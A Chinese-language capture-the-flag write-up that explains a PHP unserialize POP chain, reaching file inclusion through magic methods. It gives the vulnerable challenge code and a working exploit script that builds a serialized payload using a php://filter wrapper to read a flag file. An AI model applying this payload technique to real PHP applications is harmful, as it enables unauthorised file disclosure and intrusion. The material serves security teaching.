pop链,反序列化
题目
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
思路
这道题考察的是PHP反序列化漏洞,通过构造特定的POP链(Property-Oriented Programming)来触发魔术方法,最终实现文件包含读取flag.php。以下是详细的解题步骤:
-
触发点分析 题目中存在反序列化入口
unserialize($_GET['wish'])
,我们需要构造恶意序列化数据,利用类的魔术方法形成调用链。 -
魔术方法利用
-
RoadisLong::__wakeup():在反序列化时触发,检查
page
属性。若page
是对象,PHP会将其转换为字符串,触发__toString()
。 -
RoadisLong::__toString():返回
$this->string->page
。若string
是Make_a_Change
实例,访问page
会触发其__get()
。 -
MakeaChange::__get():调用
effort
属性作为函数,若effort
是Try_Work_Hard
实例,触发其__invoke()
。 -
TryWorkHard::__invoke():执行
include($this->var)
,包含flag.php
。
-
构造POP链
-
RoadisLong (A) 的
page
指向另一个 RoadisLong (B)。 -
B 的
string
指向 MakeaChange (C)。 -
C 的
effort
指向 TryWorkHard (D),其var
设为flag.php
。
EXP
<?php
class Road_is_Long {
public $page;
public $string;
public function __construct($file = 'index.php') {
$this->page = $file;
}
}
class Make_a_Change {
public $effort;
public function __construct() {
$this->effort = array();
}
}
class Try_Work_Hard {
protected $var = 'php://filter/convert.base64-encode/resource=/flag'; // Protected属性需正确处理
}
// 构建对象
$d = new Try_Work_Hard();
$c = new Make_a_Change();
$c->effort = $d;
$b = new Road_is_Long();
$b->string = $c;
$a = new Road_is_Long();
$a->page = $b;
// 生成序列化字符串
$payload = serialize($a);
echo urlencode($payload); // URL编码处理特殊字符
?>